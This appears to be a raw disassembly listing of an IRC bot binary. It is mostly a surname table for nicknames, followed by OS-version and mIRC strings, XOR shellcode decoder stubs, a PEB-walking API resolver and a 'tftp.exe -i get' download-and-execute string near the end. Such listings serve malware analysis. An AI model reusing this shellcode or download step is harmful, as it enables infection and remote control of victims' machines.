align 4
aQuetin db 'Quetin',0 ; DATA XREF: .nsp0:004461A8o
align 4
aRabe db 'Rabe',0 ; DATA XREF: .nsp0:004461ACo
align 4
aRabkin db 'Rabkin',0 ; DATA XREF: .nsp0:004461B0o
align 4
aRadeke db 'Radeke',0 ; DATA XREF: .nsp0:004461B4o
align 4
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: .nsp0:004461B8o
aRaney db 'Raney',0 ; DATA XREF: .nsp0:004461BCo
align 4
aRangan db 'Rangan',0 ; DATA XREF: .nsp0:004461C0o
align 10h
aRankin db 'Rankin',0 ; DATA XREF: .nsp0:004461C4o
align 4
aRapple db 'Rapple',0 ; DATA XREF: .nsp0:004461C8o
align 10h
aRayport db 'Rayport',0 ; DATA XREF: .nsp0:004461CCo
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: .nsp0:004461D0o
align 4
aReedquist db 'Reedquist',0 ; DATA XREF: .nsp0:004461D4o
align 4
aCunningham db 'Cunningham',0 ; DATA XREF: .nsp0:004461D8o
align 10h
aReinold db 'Reinold',0 ; DATA XREF: .nsp0:004461DCo
aRemak db 'Remak',0 ; DATA XREF: .nsp0:004461E0o
align 10h
aRenick db 'Renick',0 ; DATA XREF: .nsp0:004461E4o
align 4
aRepetto db 'Repetto',0 ; DATA XREF: .nsp0:004461E8o
aResnik db 'Resnik',0 ; DATA XREF: .nsp0:004461ECo
align 4
aRhea db 'Rhea',0 ; DATA XREF: .nsp0:004461F0o
align 10h
aRichmond db 'Richmond',0 ; DATA XREF: .nsp0:004461F4o
align 4
aRielly db 'Rielly',0 ; DATA XREF: .nsp0:004461F8o
align 4
aRindos db 'Rindos',0 ; DATA XREF: .nsp0:004461FCo
align 4
aRineer db 'Rineer',0 ; DATA XREF: .nsp0:00446200o
align 4
aRish db 'Rish',0 ; DATA XREF: .nsp0:00446204o
align 4
aRivera db 'Rivera',0 ; DATA XREF: .nsp0:00446208o
align 4
aRobinson db 'Robinson',0 ; DATA XREF: .nsp0:0044620Co
align 10h
aRocha db 'Rocha',0 ; DATA XREF: .nsp0:00446210o
align 4
aRoesler db 'Roesler',0 ; DATA XREF: .nsp0:00446214o
aRogers db 'Rogers',0 ; DATA XREF: .nsp0:00446218o
align 4
aRonen db 'Ronen',0 ; DATA XREF: .nsp0:0044621Co
align 10h
aRow db 'Row',0 ; DATA XREF: .nsp0:00446220o
aRoyal db 'Royal',0 ; DATA XREF: .nsp0:00446224o
align 4
aRu db 'Ru',0 ; DATA XREF: .nsp0:00446228o
align 10h
aRuan db 'Ruan',0 ; DATA XREF: .nsp0:0044622Co
align 4
aRuderman db 'Ruderman',0 ; DATA XREF: .nsp0:00446230o
align 4
aRuescher db 'Ruescher',0 ; DATA XREF: .nsp0:00446234o
align 10h
aRush_0 db 'Rush',0 ; DATA XREF: .nsp0:00446238o
align 4
aRyu db 'Ryu',0 ; DATA XREF: .nsp0:0044623Co
aSabatello db 'Sabatello',0 ; DATA XREF: .nsp0:00446240o
align 4
aSadler db 'Sadler',0 ; DATA XREF: .nsp0:00446244o
align 10h
aSafire db 'Safire',0 ; DATA XREF: .nsp0:00446248o
align 4
aSahu db 'Sahu',0 ; DATA XREF: .nsp0:0044624Co
align 10h
aSali db 'Sali',0 ; DATA XREF: .nsp0:00446250o
align 4
aSamson db 'Samson',0 ; DATA XREF: .nsp0:00446254o
align 10h
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: .nsp0:00446258o
aSanna db 'Sanna',0 ; DATA XREF: .nsp0:0044625Co
align 4
aSapers db 'Sapers',0 ; DATA XREF: .nsp0:00446260o
align 10h
aSarin db 'Sarin',0 ; DATA XREF: .nsp0:00446264o
align 4
aSartore db 'Sartore',0 ; DATA XREF: .nsp0:00446268o
aSase db 'Sase',0 ; DATA XREF: .nsp0:0044626Co
align 4
aSatin db 'Satin',0 ; DATA XREF: .nsp0:00446270o
align 10h
aSatta db 'Satta',0 ; DATA XREF: .nsp0:00446274o
align 4
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: .nsp0:00446278o
align 4
aSawtell db 'Sawtell',0 ; DATA XREF: .nsp0:0044627Co
aSayied db 'Sayied',0 ; DATA XREF: .nsp0:00446280o
align 4
aScarponi db 'Scarponi',0 ; DATA XREF: .nsp0:00446284o
align 4
aScepan db 'Scepan',0 ; DATA XREF: .nsp0:00446288o
align 4
aScharf db 'Scharf',0 ; DATA XREF: .nsp0:0044628Co
align 4
aScharlemann db 'Scharlemann',0 ; DATA XREF: .nsp0:00446290o
aScheiner db 'Scheiner',0 ; DATA XREF: .nsp0:00446294o
align 4
aSchiano db 'Schiano',0 ; DATA XREF: .nsp0:00446298o
aSchifini db 'Schifini',0 ; DATA XREF: .nsp0:0044629Co
align 10h
aSchilling db 'Schilling',0 ; DATA XREF: .nsp0:004462A0o
align 4
aSchmitt db 'Schmitt',0 ; DATA XREF: .nsp0:004462A4o
aSchossberger db 'Schossberger',0 ; DATA XREF: .nsp0:004462A8o
align 4
aSchuman db 'Schuman',0 ; DATA XREF: .nsp0:004462ACo
aSchutte db 'Schutte',0 ; DATA XREF: .nsp0:004462B0o
aSchuyler db 'Schuyler',0 ; DATA XREF: .nsp0:004462B4o
align 10h
aSchwan db 'Schwan',0 ; DATA XREF: .nsp0:004462B8o
align 4
aSchwickrath db 'Schwickrath',0 ; DATA XREF: .nsp0:004462BCo
aScovel db 'Scovel',0 ; DATA XREF: .nsp0:004462C0o
align 4
aScudder db 'Scudder',0 ; DATA XREF: .nsp0:004462C4o
aSeaton db 'Seaton',0 ; DATA XREF: .nsp0:004462C8o
align 4
aSeeber db 'Seeber',0 ; DATA XREF: .nsp0:004462CCo
align 4
aSegal db 'Segal',0 ; DATA XREF: .nsp0:004462D0o
align 4
aSekler db 'Sekler',0 ; DATA XREF: .nsp0:004462D4o
align 4
aSelvage db 'Selvage',0 ; DATA XREF: .nsp0:004462D8o
aSen db 'Sen',0 ; DATA XREF: .nsp0:004462DCo
aSennett db 'Sennett',0 ; DATA XREF: .nsp0:004462E0o
aSeterdahl db 'Seterdahl',0 ; DATA XREF: .nsp0:004462E4o
align 4
aSexton db 'Sexton',0 ; DATA XREF: .nsp0:004462E8o
align 4
aSeyfert db 'Seyfert',0 ; DATA XREF: .nsp0:004462ECo
aShaikh db 'Shaikh',0 ; DATA XREF: .nsp0:004462F0o
align 4
aShakis db 'Shakis',0 ; DATA XREF: .nsp0:004462F4o
align 4
aShankland db 'Shankland',0 ; DATA XREF: .nsp0:004462F8o
align 10h
aShanley db 'Shanley',0 ; DATA XREF: .nsp0:004462FCo
aShar db 'Shar',0 ; DATA XREF: .nsp0:00446300o
align 10h
aShatrov db 'Shatrov',0 ; DATA XREF: .nsp0:00446304o
aShavelson db 'Shavelson',0 ; DATA XREF: .nsp0:00446308o
align 4
aShea db 'Shea',0 ; DATA XREF: .nsp0:0044630Co
align 4
aSheats db 'Sheats',0 ; DATA XREF: .nsp0:00446310o
align 4
aShepherd db 'Shepherd',0 ; DATA XREF: .nsp0:00446314o
align 10h
aSheppard db 'Sheppard',0 ; DATA XREF: .nsp0:00446318o
align 4
aShepstone db 'Shepstone',0 ; DATA XREF: .nsp0:0044631Co
align 4
aShesko db 'Shesko',0 ; DATA XREF: .nsp0:00446320o
align 10h
aShia db 'Shia',0 ; DATA XREF: .nsp0:00446324o
align 4
aShibata db 'Shibata',0 ; DATA XREF: .nsp0:00446328o
aShimon db 'Shimon',0 ; DATA XREF: .nsp0:0044632Co
align 4
aSiesto db 'Siesto',0 ; DATA XREF: .nsp0:00446330o
align 10h
aSigalot db 'Sigalot',0 ; DATA XREF: .nsp0:00446334o
aSigini db 'Sigini',0 ; DATA XREF: .nsp0:00446338o
align 10h
aSigna db 'Signa',0 ; DATA XREF: .nsp0:0044633Co
align 4
aSilverman db 'Silverman',0 ; DATA XREF: .nsp0:00446340o
align 4
aSilvetti db 'Silvetti',0 ; DATA XREF: .nsp0:00446344o
align 10h
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: .nsp0:00446348o
align 4
aSirilli db 'Sirilli',0 ; DATA XREF: .nsp0:0044634Co
aSites db 'Sites',0 ; DATA XREF: .nsp0:00446350o
align 4
aSkane db 'Skane',0 ; DATA XREF: .nsp0:00446354o
align 4
aSkerry db 'Skerry',0 ; DATA XREF: .nsp0:00446358o
align 4
aSkoda db 'Skoda',0 ; DATA XREF: .nsp0:0044635Co
align 4
aSloan db 'Sloan',0 ; DATA XREF: .nsp0:00446360o
align 4
aSlowe db 'Slowe',0 ; DATA XREF: .nsp0:00446364o
align 4
aSmilow db 'Smilow',0 ; DATA XREF: .nsp0:00446368o
align 4
aSniffen db 'Sniffen',0 ; DATA XREF: .nsp0:0044636Co
aSnodgrass db 'Snodgrass',0 ; DATA XREF: .nsp0:00446370o
align 10h
aSocolow db 'Socolow',0 ; DATA XREF: .nsp0:00446374o
aSolon db 'Solon',0 ; DATA XREF: .nsp0:00446378o
align 10h
aSomers db 'Somers',0 ; DATA XREF: .nsp0:0044637Co
align 4
aSommariva db 'Sommariva',0 ; DATA XREF: .nsp0:00446380o
align 4
aSorabella db 'Sorabella',0 ; DATA XREF: .nsp0:00446384o
align 10h
aSorg db 'Sorg',0 ; DATA XREF: .nsp0:00446388o
align 4
aSottak db 'Sottak',0 ; DATA XREF: .nsp0:0044638Co
align 10h
aSoukup db 'Soukup',0 ; DATA XREF: .nsp0:00446390o
align 4
aSoule db 'Soule',0 ; DATA XREF: .nsp0:00446394o
align 10h
aSoultanian db 'Soultanian',0 ; DATA XREF: .nsp0:00446398o
align 4
aSpanier db 'Spanier',0 ; DATA XREF: .nsp0:0044639Co
aSparrow db 'Sparrow',0 ; DATA XREF: .nsp0:004463A0o
aSpaulding db 'Spaulding',0 ; DATA XREF: .nsp0:004463A4o
align 4
aSpeizer db 'Speizer',0 ; DATA XREF: .nsp0:004463A8o
aSpence db 'Spence',0 ; DATA XREF: .nsp0:004463ACo
align 4
aSperber db 'Sperber',0 ; DATA XREF: .nsp0:004463B0o
aSpicer db 'Spicer',0 ; DATA XREF: .nsp0:004463B4o
align 4
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: .nsp0:004463B8o
align 4
aSpiliotis db 'Spiliotis',0 ; DATA XREF: .nsp0:004463BCo
align 4
aSpinrad db 'Spinrad',0 ; DATA XREF: .nsp0:004463C0o
aStmartin db 'StMartin',0 ; DATA XREF: .nsp0:004463C4o
align 4
aStalvey db 'Stalvey',0 ; DATA XREF: .nsp0:004463C8o
aStam db 'Stam',0 ; DATA XREF: .nsp0:004463CCo
align 4
aStang db 'Stang',0 ; DATA XREF: .nsp0:004463D0o
align 10h
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: .nsp0:004463D4o
align 10h
aStates db 'States',0 ; DATA XREF: .nsp0:004463D8o
align 4
aStatlender db 'Statlender',0 ; DATA XREF: .nsp0:004463DCo
align 4
aStefani db 'Stefani',0 ; DATA XREF: .nsp0:004463E0o
aSteiner db 'Steiner',0 ; DATA XREF: .nsp0:004463E4o
aStephanian db 'Stephanian',0 ; DATA XREF: .nsp0:004463E8o
align 10h
aStepniewska db 'Stepniewska',0 ; DATA XREF: .nsp0:004463ECo
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: .nsp0:004463F0o
align 4
aStiepock db 'Stiepock',0 ; DATA XREF: .nsp0:004463F4o
align 4
aStillwell db 'Stillwell',0 ; DATA XREF: .nsp0:004463F8o
align 4
aStock db 'Stock',0 ; DATA XREF: .nsp0:004463FCo
align 4
aStockton db 'Stockton',0 ; DATA XREF: .nsp0:00446400o
align 4
aStockwell db 'Stockwell',0 ; DATA XREF: .nsp0:00446404o
align 4
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: .nsp0:00446408o
aStonich db 'Stonich',0 ; DATA XREF: .nsp0:0044640Co
aStorer db 'Storer',0 ; DATA XREF: .nsp0:00446410o
align 10h
aStott db 'Stott',0 ; DATA XREF: .nsp0:00446414o
align 4
aStrange_0 db 'Strange',0 ; DATA XREF: .nsp0:00446418o
aStrauch db 'Strauch',0 ; DATA XREF: .nsp0:0044641Co
aStreiff db 'Streiff',0 ; DATA XREF: .nsp0:00446420o
aStringer db 'Stringer',0 ; DATA XREF: .nsp0:00446424o
align 4
aSullivan db 'Sullivan',0 ; DATA XREF: .nsp0:00446428o
align 4
aSumner db 'Sumner',0 ; DATA XREF: .nsp0:0044642Co
align 10h
aSuo db 'Suo',0 ; DATA XREF: .nsp0:00446430o
aSurdam db 'Surdam',0 ; DATA XREF: .nsp0:00446434o
align 4
aSweeting db 'Sweeting',0 ; DATA XREF: .nsp0:00446438o
align 4
aSweetser db 'Sweetser',0 ; DATA XREF: .nsp0:0044643Co
align 4
aSwindle db 'Swindle',0 ; DATA XREF: .nsp0:00446440o
aTagiuri db 'Tagiuri',0 ; DATA XREF: .nsp0:00446444o
aTai db 'Tai',0 ; DATA XREF: .nsp0:00446448o
aTalaugon db 'Talaugon',0 ; DATA XREF: .nsp0:0044644Co
align 4
aTambiah db 'Tambiah',0 ; DATA XREF: .nsp0:00446450o
aTandler db 'Tandler',0 ; DATA XREF: .nsp0:00446454o
aTanowitz db 'Tanowitz',0 ; DATA XREF: .nsp0:00446458o
align 10h
aTatar db 'Tatar',0 ; DATA XREF: .nsp0:0044645Co
align 4
aTaveras db 'Taveras',0 ; DATA XREF: .nsp0:00446460o
aTawn db 'Tawn',0 ; DATA XREF: .nsp0:00446464o
align 4
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: .nsp0:00446468o
align 4
aTeague db 'Teague',0 ; DATA XREF: .nsp0:0044646Co
align 4
aTemes db 'Temes',0 ; DATA XREF: .nsp0:00446470o
align 4
aTemmer db 'Temmer',0 ; DATA XREF: .nsp0:00446474o
align 4
aTenney db 'Tenney',0 ; DATA XREF: .nsp0:00446478o
align 4
aTerracini db 'Terracini',0 ; DATA XREF: .nsp0:0044647Co
align 10h
aThan db 'Than',0 ; DATA XREF: .nsp0:00446480o
align 4
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: .nsp0:00446484o
align 4
aTheodos db 'Theodos',0 ; DATA XREF: .nsp0:00446488o
aThibault db 'Thibault',0 ; DATA XREF: .nsp0:0044648Co
align 4
aThisted db 'Thisted',0 ; DATA XREF: .nsp0:00446490o
aThomsen db 'Thomsen',0 ; DATA XREF: .nsp0:00446494o
aThroop db 'Throop',0 ; DATA XREF: .nsp0:00446498o
align 4
aTierney db 'Tierney',0 ; DATA XREF: .nsp0:0044649Co
aTill db 'Till',0 ; DATA XREF: .nsp0:004464A0o
align 4
aTimmons db 'Timmons',0 ; DATA XREF: .nsp0:004464A4o
aTofallis db 'Tofallis',0 ; DATA XREF: .nsp0:004464A8o
align 4
aTollestrup db 'Tollestrup',0 ; DATA XREF: .nsp0:004464ACo
align 4
aTolls db 'Tolls',0 ; DATA XREF: .nsp0:004464B0o
align 4
aTolman db 'Tolman',0 ; DATA XREF: .nsp0:004464B4o
align 4
aTomford db 'Tomford',0 ; DATA XREF: .nsp0:004464B8o
aToomer db 'Toomer',0 ; DATA XREF: .nsp0:004464BCo
align 4
aTopulos db 'Topulos',0 ; DATA XREF: .nsp0:004464C0o
aTorresi db 'Torresi',0 ; DATA XREF: .nsp0:004464C4o
aTorske db 'Torske',0 ; DATA XREF: .nsp0:004464C8o
align 4
aTowler db 'Towler',0 ; DATA XREF: .nsp0:004464CCo
align 4
aToye db 'Toye',0 ; DATA XREF: .nsp0:004464D0o
align 4
aTraebert db 'Traebert',0 ; DATA XREF: .nsp0:004464D4o
align 4
aTrenga db 'Trenga',0 ; DATA XREF: .nsp0:004464D8o
align 10h
aTrewin db 'Trewin',0 ; DATA XREF: .nsp0:004464DCo
align 4
aTringali db 'Tringali',0 ; DATA XREF: .nsp0:004464E0o
align 4
aTroiani db 'Troiani',0 ; DATA XREF: .nsp0:004464E4o
aTroy db 'Troy',0 ; DATA XREF: .nsp0:004464E8o
align 4
aTruss db 'Truss',0 ; DATA XREF: .nsp0:004464ECo
align 4
aTsiatis db 'Tsiatis',0 ; DATA XREF: .nsp0:004464F0o
aTsomides db 'Tsomides',0 ; DATA XREF: .nsp0:004464F4o
align 10h
aTsukurov db 'Tsukurov',0 ; DATA XREF: .nsp0:004464F8o
align 4
aTuck db 'Tuck',0 ; DATA XREF: .nsp0:004464FCo
align 4
aTudge db 'Tudge',0 ; DATA XREF: .nsp0:00446500o
align 4
aTukan db 'Tukan',0 ; DATA XREF: .nsp0:00446504o
align 4
aTurano db 'Turano',0 ; DATA XREF: .nsp0:00446508o
align 4
aTurek db 'Turek',0 ; DATA XREF: .nsp0:0044650Co
align 4
aTuttle_0 db 'Tuttle',0 ; DATA XREF: .nsp0:00446510o
align 4
aTwells db 'Twells',0 ; DATA XREF: .nsp0:00446514o
align 4
aTzamarias db 'Tzamarias',0 ; DATA XREF: .nsp0:00446518o
align 10h
aUllman db 'Ullman',0 ; DATA XREF: .nsp0:0044651Co
align 4
aUntermeyer db 'Untermeyer',0 ; DATA XREF: .nsp0:00446520o
align 4
aUpsdell db 'Upsdell',0 ; DATA XREF: .nsp0:00446524o
aUrban db 'Urban',0 ; DATA XREF: .nsp0:00446528o
align 4
aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: .nsp0:0044652Co
align 4
aUsdan db 'Usdan',0 ; DATA XREF: .nsp0:00446530o
align 4
aUzuner db 'Uzuner',0 ; DATA XREF: .nsp0:00446534o
align 4
aVacca db 'Vacca',0 ; DATA XREF: .nsp0:00446538o
align 4
aWaite db 'Waite',0 ; DATA XREF: .nsp0:0044653Co
align 4
aValberg db 'Valberg',0 ; DATA XREF: .nsp0:00446540o
aValencia db 'Valencia',0 ; DATA XREF: .nsp0:00446544o
align 4
aWales db 'Wales',0 ; DATA XREF: .nsp0:00446548o
align 10h
aWallenberg db 'Wallenberg',0 ; DATA XREF: .nsp0:0044654Co
align 4
aWalter db 'Walter',0 ; DATA XREF: .nsp0:00446550o
align 4
aVanallen db 'vanAllen',0 ; DATA XREF: .nsp0:00446554o
align 10h
aVanzwet db 'VanZwet',0 ; DATA XREF: .nsp0:00446558o
aVandenberg db 'Vandenberg',0 ; DATA XREF: .nsp0:0044655Co
align 4
aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: .nsp0:00446560o
align 4
aWarshafsky db 'Warshafsky',0 ; DATA XREF: .nsp0:00446564o
align 10h
aWasowska db 'Wasowska',0 ; DATA XREF: .nsp0:00446568o
align 4
aVasquez db 'Vasquez',0 ; DATA XREF: .nsp0:0044656Co
aWaugh db 'Waugh',0 ; DATA XREF: .nsp0:00446570o
align 4
aWeighart db 'Weighart',0 ; DATA XREF: .nsp0:00446574o
align 4
aWeingarten db 'Weingarten',0 ; DATA XREF: .nsp0:00446578o
align 4
aWeinhaus db 'Weinhaus',0 ; DATA XREF: .nsp0:0044657Co
align 10h
aWeissbourd db 'Weissbourd',0 ; DATA XREF: .nsp0:00446580o
align 4
aWeissman db 'Weissman',0 ; DATA XREF: .nsp0:00446584o
align 4
aVelasquez db 'Velasquez',0 ; DATA XREF: .nsp0:00446588o
align 4
aWelles db 'Welles',0 ; DATA XREF: .nsp0:0044658Co
align 4
aWelsh db 'Welsh',0 ; DATA XREF: .nsp0:00446590o
align 4
aWengret db 'Wengret',0 ; DATA XREF: .nsp0:00446594o
aVenne db 'Venne',0 ; DATA XREF: .nsp0:00446598o
align 4
aVerghese db 'Verghese',0 ; DATA XREF: .nsp0:0044659Co
align 10h
aWescott db 'Wescott',0 ; DATA XREF: .nsp0:004465A0o
aWetzel db 'Wetzel',0 ; DATA XREF: .nsp0:004465A4o
align 10h
aWhately db 'Whately',0 ; DATA XREF: .nsp0:004465A8o
aWhilton db 'Whilton',0 ; DATA XREF: .nsp0:004465ACo
aWhite_0 db 'White',0 ; DATA XREF: .nsp0:004465B0o
align 4
aWhitla db 'Whitla',0 ; DATA XREF: .nsp0:004465B4o
align 10h
aWhittaker db 'Whittaker',0 ; DATA XREF: .nsp0:004465B8o
align 4
aViana db 'Viana',0 ; DATA XREF: .nsp0:004465BCo
align 4
aViano db 'Viano',0 ; DATA XREF: .nsp0:004465C0o
align 4
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: .nsp0:004465C4o
aWiener db 'Wiener',0 ; DATA XREF: .nsp0:004465C8o
align 10h
aViens db 'Viens',0 ; DATA XREF: .nsp0:004465CCo
align 4
aVignola db 'Vignola',0 ; DATA XREF: .nsp0:004465D0o
aWilder db 'Wilder',0 ; DATA XREF: .nsp0:004465D4o
align 4
aWilhelm db 'Wilhelm',0 ; DATA XREF: .nsp0:004465D8o
aWilk db 'Wilk',0 ; DATA XREF: .nsp0:004465DCo
align 4
aWilkin db 'Wilkin',0 ; DATA XREF: .nsp0:004465E0o
align 10h
aWilkinson db 'Wilkinson',0 ; DATA XREF: .nsp0:004465E4o
align 4
aVillarreal db 'Villarreal',0 ; DATA XREF: .nsp0:004465E8o
align 4
aWillstatter db 'Willstatter',0 ; DATA XREF: .nsp0:004465ECo
aWilson db 'Wilson',0 ; DATA XREF: .nsp0:004465F0o
align 4
aVitali db 'Vitali',0 ; DATA XREF: .nsp0:004465F4o
align 4
aViviani db 'Viviani',0 ; DATA XREF: .nsp0:004465F8o
aVoigt db 'Voigt',0 ; DATA XREF: .nsp0:004465FCo
align 4
aWolk db 'Wolk',0 ; DATA XREF: .nsp0:00446600o
align 4
aVonhoffman db 'VonHoffman',0 ; DATA XREF: .nsp0:00446604o
align 4
aWoo db 'Woo',0 ; DATA XREF: .nsp0:00446608o
aWooden db 'Wooden',0 ; DATA XREF: .nsp0:0044660Co
align 4
aWoods db 'Woods',0 ; DATA XREF: .nsp0:00446610o
align 4
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: .nsp0:00446614o
align 4
aVorhaus db 'Vorhaus',0 ; DATA XREF: .nsp0:00446618o
aVotey db 'Votey',0 ; DATA XREF: .nsp0:0044661Co
align 4
aYacono db 'Yacono',0 ; DATA XREF: .nsp0:00446620o
align 4
aYamane db 'Yamane',0 ; DATA XREF: .nsp0:00446624o
align 4
aYankee_0 db 'Yankee',0 ; DATA XREF: .nsp0:00446628o
align 4
aYarchuk db 'Yarchuk',0 ; DATA XREF: .nsp0:0044662Co
aYates db 'Yates',0 ; DATA XREF: .nsp0:00446630o
align 4
aYbarra db 'Ybarra',0 ; DATA XREF: .nsp0:00446634o
align 4
aYedidia db 'Yedidia',0 ; DATA XREF: .nsp0:00446638o
aYesson db 'Yesson',0 ; DATA XREF: .nsp0:0044663Co
align 4
aYetiv db 'Yetiv',0 ; DATA XREF: .nsp0:00446640o
align 4
aYoffe db 'Yoffe',0 ; DATA XREF: .nsp0:00446644o
align 4
aYoo db 'Yoo',0 ; DATA XREF: .nsp0:00446648o
aYoukSee db 'Youk-See',0 ; DATA XREF: .nsp0:0044664Co
align 4
aYu db 'Yu',0 ; DATA XREF: .nsp0:00446650o
align 10h
aZachary db 'Zachary',0 ; DATA XREF: .nsp0:00446654o
aZahedi db 'Zahedi',0 ; DATA XREF: .nsp0:00446658o
align 10h
aZangwill db 'Zangwill',0 ; DATA XREF: .nsp0:0044665Co
align 4
aZegans db 'Zegans',0 ; DATA XREF: .nsp0:00446660o
align 4
aZerbini db 'Zerbini',0 ; DATA XREF: .nsp0:00446664o
aZoldak db 'Zoldak',0 ; DATA XREF: .nsp0:00446668o
align 4
aZucconi db 'Zucconi',0 ; DATA XREF: .nsp0:0044666Co
aZurn db 'Zurn',0 ; DATA XREF: .nsp0:00446670o
align 4
aZwiers db 'Zwiers',0 ; DATA XREF: .nsp0:00446674o
align 4
aZytowski db 'Zytowski',0 ; DATA XREF: .nsp0:00446678o
align 4
aS_28 db '%s',0 ; DATA XREF: sub_40A112+27o
align 4
aSI_0 db '%s%i',0 ; DATA XREF: sub_40A112+4Eo
align 4
aS_29 db '%s',0 ; DATA XREF: .nsp0:0040A197o
align 4
aSI_1 db '%s%i',0 ; DATA XREF: .nsp0:0040A1BEo
align 10h
aPc_0 db 'PC',0 ; DATA XREF: .nsp0:0040A22Fo
align 4
aPc_1 db 'PC',0 ; DATA XREF: .nsp0:0040A259o
align 4
aPc_2 db 'PC',0 ; DATA XREF: .nsp0:0040A285o
align 4
aSI_2 db '%s%i',0 ; DATA XREF: .nsp0:0040A2B0o
align 4
aS_30 db '%s|',0 ; DATA XREF: .nsp0:0040A2FEo
aSI_3 db '%s%i',0 ; DATA XREF: .nsp0:0040A325o
align 10h
a95 db '95',0 ; DATA XREF: .nsp0:0040A393o
align 4
aNt db 'NT',0 ; DATA XREF: .nsp0:0040A3A1o
align 4
a98 db '98',0 ; DATA XREF: .nsp0:0040A3B1o
align 4
aMe_0 db 'ME',0 ; DATA XREF: .nsp0:0040A3C1o
align 10h
a2k db '2K',0 ; DATA XREF: .nsp0:0040A3DAo
align 4
aXp_1 db 'XP',0 ; DATA XREF: .nsp0:0040A3EAo
align 4
a2k3 db '2K3',0 ; DATA XREF: .nsp0:0040A3F8o
a???_0 db '???',0 ; DATA XREF: .nsp0:loc_40A3FFo
aS_31 db '[%s]|',0 ; DATA XREF: .nsp0:0040A408o
align 4
aSI_4 db '%s%i',0 ; DATA XREF: .nsp0:0040A42Fo
align 10h
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40A44E+1Fo
align 4
aM_0 db '[M]',0 ; DATA XREF: sub_40A44E+2Co
aDS db '[%d]%s',0 ; DATA XREF: sub_40A44E+3Ao
align 4
aMirc_1 db 'mIRC',0 ; DATA XREF: sub_40A44E:loc_40A49Do
align 4
aM_1 db '[M]',0 ; DATA XREF: sub_40A44E+5Co
; ---------------------------------------------------------------------------
loc_449130: ; DATA XREF: sub_40A6F6+C4o
jmp short loc_449134
; ---------------------------------------------------------------------------
loc_449132: ; CODE XREF: .nsp0:loc_449134p
jmp short loc_449139
; ---------------------------------------------------------------------------
loc_449134: ; CODE XREF: .nsp0:loc_449130j
call loc_449132
loc_449139: ; CODE XREF: .nsp0:loc_449132j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_44913E dw 0FFFFh ; DATA XREF: sub_40A6F6+CCw
db 80h, 73h, 0Eh
byte_449143 db 0FFh ; DATA XREF: sub_40A6F6+D3w
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_449148: ; DATA XREF: sub_40A6F6+A2o
jmp short loc_44914C
; ---------------------------------------------------------------------------
loc_44914A: ; CODE XREF: .nsp0:loc_44914Cp
jmp short loc_449151
; ---------------------------------------------------------------------------
loc_44914C: ; CODE XREF: .nsp0:loc_449148j
call loc_44914A
loc_449151: ; CODE XREF: .nsp0:loc_44914Aj
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_449155 db 0FFh ; DATA XREF: sub_40A6F6+AAw
dw 7380h
db 0Ch
byte_449159 db 0FFh ; DATA XREF: sub_40A6F6+B0w
dw 0E243h
dd 0F9h
dword_449160 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_40A57F+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_4491C4 dd 12h ; DATA XREF: sub_40A57F+3Dw
aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_40A57F+79o
aJ_1 db 'j',0
db 0E8h
dword_4491DD dd 17h ; DATA XREF: sub_40A57F+4Dw
; ---------------------------------------------------------------------------
jnz short near ptr byte_4491E4
retn
; ---------------------------------------------------------------------------
byte_4491E4 db 0E8h ; CODE XREF: .nsp0:004491E1j
dword_4491E5 dd 1 ; DATA XREF: sub_40A57F+45w
byte_4491E9 db 0, 6Ah, 0 ; DATA XREF: sub_40A57F+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_4491F3 dd 0FFFFFFEDh ; DATA XREF: sub_40A57F+5Dw
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi ; CloseHandle
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 4
dword_449224 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h
; DATA XREF: sub_40A8BA+10o
dword_449238 dd 202E6425h, 7325h ; DATA XREF: sub_40A8BA+46o
aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40AA8B+35o
align 4
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40AA8B+51o
align 10h
aSym db 'sym',0 ; DATA XREF: sub_40B9F0+164o
dd 0
db 2 dup(0)
aSymantec db 'Symantec',0 ; DATA XREF: sub_40AEDE+30o
align 4
dd 5 dup(0)
dword_4492A8 dd 0B97h ; DATA XREF: sub_401CC1+18D3r
; sub_401CC1+18FFo ...
off_4492AC dd offset sub_40DBCD ; DATA XREF: sub_40B9F0+1E6r
dword_4492B0 dd 0 ; DATA XREF: sub_40AD51+2Eo
; .nsp0:0040CD4Fw ...
dword_4492B4 dd 1 ; DATA XREF: sub_40B1CC+1Fr
dword_4492B8 dd 1 ; DATA XREF: sub_40B1CC+3B3r
dword_4492BC dd 0 ; DATA XREF: sub_40B1CC+292r
